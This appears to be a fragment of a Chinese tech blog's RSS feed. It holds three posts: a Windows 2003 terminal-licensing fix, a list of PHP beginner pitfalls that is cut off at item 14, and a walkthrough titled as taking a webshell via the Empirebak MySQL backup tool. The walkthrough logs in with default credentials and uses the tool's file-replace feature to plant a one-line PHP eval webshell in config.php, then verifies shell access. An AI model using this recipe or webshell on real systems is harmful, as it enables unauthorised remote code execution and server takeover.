		<description><![CDATA[<a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以： 1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。 2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。 3、 单击“服务器设置”，然后双击“授权模式”。 4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。 原因：Window Server 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)2008年10月17日 -- 多服务器的用户身份认证方案 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以：</p>
<p>1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。</p>
<p>2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。</p>
<p>3、 单击“服务器设置”，然后双击“授权模式”。</p>
<p>4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。</p>
<p>原因：Window <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>帝国备份王(Empirebak)拿webshell</title>
		<link>http://www.5bay.cn/server-building/aoeempirebakeebshell.html</link>
		<comments>http://www.5bay.cn/server-building/aoeempirebakeebshell.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:26:19 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=509</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>fhod 邪恶八进制 帝国备份王(Empirebak)简介 EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库. 可在 http://www.phome.net/ebak2008os/ 下载到 默认账号密码为 admin  123456 登陆后先备份一次数据 备份时可选择备份到的目录。。默认有个safemod 当然也可以是别的..这里以safemod来说了 备份完毕后来到 管理备份目录 打包并下载 把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了 备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能 如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下 我是替换 config.php的内容 内容为 &#60;?php $b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”; $tb[a]=1; $tb[bak_guest3Book1]=1; $tb[bak_info17Content1]=1; $tb[bak_info17Sort1]=1; $tb[bak_info18Content1]=1; $tb[bak_info1Content1]=1; $tb[bak_info1Sort1]=1; $tb[bak_info2Content1]=1; $tb[bak_info2Sort1]=1; $tb[bak_info4Content1]=1; $tb[bak_info4Sort1]=1; $tb[bak_info5Content1]=1; $tb[bak_info5Sort1]=1; $tb[bak_info6Content1]=1; $tb[bak_info6Sort1]=1; $tb[bak_info7Content1]=1; $tb[bak_info7Sort1]=1; $tb[bak_info8Content1]=1; $tb[bak_info8Sort1]=1; $tb[bak_page12Content1]=1; $tb[bak_page1Content1]=1; $tb[bak_page21Content1]=1; $tb[bak_poll20Inve1]=1; $tb[bak_poll20InveCount1]=1; $tb[bak_poll20InveOpt1]=1; $tb[guest16Book1]=1; $tb[guest3Book1]=1; $tb[htmlImage]=1; $tb[htmlImageTmp]=1; $tb[info10Content1]=1; [...]]]></description>
			<content:encoded><![CDATA[<p>fhod 邪恶八进制<br />
帝国备份王(Empirebak)简介<br />
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.<br />
可在 <a rel="external" href="http://www.phome.net/ebak2008os/" target="_blank">http://www.phome.net/ebak2008os/</a> 下载到<br />
默认账号密码为<br />
admin  123456<br />
登陆后先备份一次数据<br />
备份时可选择备份到的目录。。默认有个safemod<br />
当然也可以是别的..这里以safemod来说了<br />
备份完毕后来到<br />
管理备份目录<br />
打包并下载<br />
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了<br />
<span id="more-509"></span><br />
备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能</p>
<p>如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下</p>
<p>我是替换<br />
config.php的内容</p>
<p>内容为</p>
<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
$b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”;<br />
$tb[a]=1;<br />
$tb[bak_guest3Book1]=1;<br />
$tb[bak_info17Content1]=1;<br />
$tb[bak_info17Sort1]=1;<br />
$tb[bak_info18Content1]=1;<br />
$tb[bak_info1Content1]=1;<br />
$tb[bak_info1Sort1]=1;<br />
$tb[bak_info2Content1]=1;<br />
$tb[bak_info2Sort1]=1;<br />
$tb[bak_info4Content1]=1;<br />
$tb[bak_info4Sort1]=1;<br />
$tb[bak_info5Content1]=1;<br />
$tb[bak_info5Sort1]=1;<br />
$tb[bak_info6Content1]=1;<br />
$tb[bak_info6Sort1]=1;<br />
$tb[bak_info7Content1]=1;<br />
$tb[bak_info7Sort1]=1;<br />
$tb[bak_info8Content1]=1;<br />
$tb[bak_info8Sort1]=1;<br />
$tb[bak_page12Content1]=1;<br />
$tb[bak_page1Content1]=1;<br />
$tb[bak_page21Content1]=1;<br />
$tb[bak_poll20Inve1]=1;<br />
$tb[bak_poll20InveCount1]=1;<br />
$tb[bak_poll20InveOpt1]=1;<br />
$tb[guest16Book1]=1;<br />
$tb[guest3Book1]=1;<br />
$tb[htmlImage]=1;<br />
$tb[htmlImageTmp]=1;<br />
$tb[info10Content1]=1;<br />
$tb[info10Sort1]=1;<br />
$tb[info12Content1]=1;<br />
$tb[info12Sort1]=1;<br />
$tb[info15Content1]=1;<br />
$tb[info15Sort1]=1;<br />
$tb[info17Content1]=1;<br />
$tb[info17Sort1]=1;<br />
$tb[info18Content1]=1;<br />
$tb[info18Sort1]=1;<br />
$tb[info19Content1]=1;<br />
$tb[info19Sort1]=1;<br />
$tb[info1Content1]=1;<br />
$tb[info1Sort1]=1;<br />
$tb[info2Content1]=7;<br />
$tb[info2Sort1]=1;<br />
$tb[info4Content1]=1;<br />
$tb[info4Sort1]=1;<br />
$tb[info5Content1]=1;<br />
$tb[info5Sort1]=1;<br />
$tb[info6Content1]=1;<br />
$tb[info6Sort1]=1;<br />
$tb[info7Content1]=1;<br />
$tb[info7Sort1]=1;<br />
$tb[info8Content1]=1;<br />
$tb[info8Sort1]=1;<br />
$tb[operatorPower]=1;<br />
$tb[operators]=1;<br />
$tb[page11Content1]=1;<br />
$tb[page12Content1]=1;<br />
$tb[page13Content1]=1;<br />
$tb[page14Content1]=1;<br />
$tb[page1Content1]=1;<br />
$tb[page21Content1]=1;<br />
$tb[poll20Inve1]=1;<br />
$tb[poll20InveCount1]=1;<br />
$tb[poll20InveOpt1]=1;<br />
$tb[poll9Inve1]=1;<br />
$tb[poll9InveCount1]=1;<br />
$tb[poll9InveOpt1]=1;<br />
$tb[system]=1;</p>
<p>$b_baktype=0;<br />
$b_filesize=300;<br />
$b_bakline=500;<br />
$b_autoauf=1;<br />
$b_dbname=”s422857db0&#8243;;<br />
$b_stru=1;<br />
$b_strufour=0;<br />
$b_dbchar=”auto”;<br />
$b_beover=0;<br />
$b_insertf=”replace”;<br />
$b_autofield=”,,”;<br />
?&gt;然后替换</p>
<p>&lt;?php eval($_POST[1]);?&gt;by fhod~~~~~</p>
<p>访问</p>
<p><a rel="external" href="http://www.xxx.com/upload/bdata/safemod/config.php" target="_blank">http://www.xxx.com/upload/bdata/safemod/config.php</a><br />
能看到 by fhod~~~~~<br />
证明成功得到shell</p>
<p>密码为1</p>
<p>前提是要有管理密码能进入管理^_^</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aoeempirebakeebshell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>最令PHP初学者头痛的十四个问题</title>
		<link>http://www.5bay.cn/network-programming/eeeeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/eeeeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:20:55 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[iis6.0]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[中文]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[初学者]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[解决方法]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[邮件]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>
		<category><![CDATA[验证]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=501</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>【1】页面之间无法传递变量 get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　 【2】Win32下apache2 用get方法传递中文参数会出错： test.php?a=你好&#38;b=你也好　 传递参数是会导致一个内部错误　　 解决办法:”test.php?a=”.urlencode(你好).”&#38;b=”.urlencode(你也好)　 【3】win32下的session不能正常工作　 php.ini默认的session.save_path = /tmp　 这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　 【4】显示错误信息　 　 当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　 例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　 【5】Win32下mail()不能发送电子邮件　　 在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　 php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　 【6】初装的mysql修改密码 应该使用update mysql.user set password=”yourpassword” where user=”root” 修改密码　　 【7】header already sent　　 这个错误通常会在你使用HEADER的时候出现，他可能是几种原因： 1，你在使用HEADER前PRING或者ECHO了 2.你当前文件前面有空行 3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　 【8】更改php.ini后没有变化　　 重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。 [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-501"></span>【1】页面之间无法传递变量</p>
<p>get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_<a href="http://www.5bay.cn/tag/session" class="st_tag internal_tag" rel="tag" title="标签 session 下的日志">SESSION</a>['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　</p>
<p>【2】Win32下apache2 用get方法传递中文参数会出错：</p>
<p>test.php?a=你好&amp;b=你也好　<br />
传递参数是会导致一个内部错误　　<br />
解决办法:”test.php?a=”.urlencode(你好).”&amp;b=”.urlencode(你也好)　</p>
<p>【3】win32下的session不能正常工作　</p>
<p>php.ini默认的session.save_path = /tmp　<br />
这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　</p>
<p>【4】显示错误信息　<br />
　<br />
当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　</p>
<p>例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　</p>
<p>【5】Win32下mail()不能发送电子邮件　　</p>
<p>在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　</p>
<p>php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　</p>
<p>【6】初装的mysql修改密码</p>
<p>应该使用update mysql.user set password=”yourpassword” where user=”root” 修改密码　　</p>
<p>【7】header already sent　　</p>
<p>这个错误通常会在你使用HEADER的时候出现，他可能是几种原因：</p>
<p>1，你在使用HEADER前PRING或者ECHO了<br />
2.你当前文件前面有空行<br />
3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　</p>
<p>【8】更改php.ini后没有变化　　</p>
<p>重新启动web <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a>，比如IIS，Apache等等，然后才会应用最新的设置。<br />
这个我要补充一下，如果你是iis服务器请在cmd下用iisreset命令重新起动。用信息管理服务器重起是不起作用的。</p>
<p>【9】php在2003上面安装　<br />
　<br />
PHP4的php4isapi.dll好像和2003有些冲突，只能用CGI模式安装　　</p>
<p>步骤一，先www.php.net 下在一个安装程序，我是装的是：php-4.2.3-installer.exe，你也可以去找最新的版本，在安装php-4.2.3- installer.exe之前保证你的IIS6.0启动了，并能够访问。安装好以后，在默认网站&#8211;＞应用程序配置。　　<br />
步骤二：点击 web服务扩展 &#8211;＞新建web服务扩展。　　<br />
步骤三： 扩展名&#8211;＞php,然后添加　　<br />
步骤四：找到php.exe的路径添加上去。　　<br />
步骤五： 确定就可以了！　　　<br />
步骤六： 选择php的服务扩展，然后点击允许。　这点很重要，以前的iis5.1都没web服务扩展这项，所以用惯iis5.1的朋友很容易忽略这项。</p>
<p>【10】sql语句不起作用</p>
<p>sql语句不起作用，对数据库操作失败，最简便的调试方法，echo那句sql，看看变量的值能得到不。　<br />
　<br />
【11】include和require的区别　　</p>
<p>两者没有太大的区别，如果要包含的文件不存在，include提示notice，然后继续执行下面的语句，require提示致命错误并且退出。　　</p>
<p>据我测试，win32平台下它们都是先包含后执行，所以被包含文件里最好不要再有include或require语句，这样会造成目录混乱。</p>
<p>如果一个文件不想被包含多次可以使用include_once或require_once## 读取，写入文档数据。<br />
function r($file_name) {　<br />
$filenum=@fopen($file_name,”r”);　<br />
@flock($filenum,LOCK_SH);　<br />
$file_data=@fread($filenum,filesize($file_name));　<br />
@fclose($filenum);　<br />
return $file_data;}<br />
function w($file_name,$data,$method=”w”){　<br />
$filenum=@fopen($file_name,$method);　<br />
flock($filenum,LOCK_EX);　<br />
$file_data=fwrite($filenum,$data);　<br />
fclose($filenum);　<br />
return $file_data;}</p>
<p>【12】isset()和empty()的区别　　</p>
<p>两者都是测试变量用的，但是isset()是测试变量是否被赋值，而empty()是测试一个已经被赋值的变量是否为空。　　</p>
<p>如果一个变量没被赋值就引用在php里是被允许的,但会有notice提示，如果一个变量被赋空值，$foo=”"或者$foo=0或者 $foo=false,那么empty($foo)返回真，isset($foo)也返回真，就是说赋空值不会注销一个变量。　　　要注销一个变量，可以用 unset($foo)或者$foo=NULL　　</p>
<p>【13】mysql查询语句包含有关键字　</p>
<p>　php查询mysql的时候，有时候mysql表名或者列名会有关键字，这时候查询会有错误。例如表名是order,查询时候会出错，简单的办法是sql语句里表名或者列名加上`[tab键上面]来加以区别，例如select * from `order`　　</p>
<p>【14】通过HTTP协议一次上传多个文件的方法　　</p>
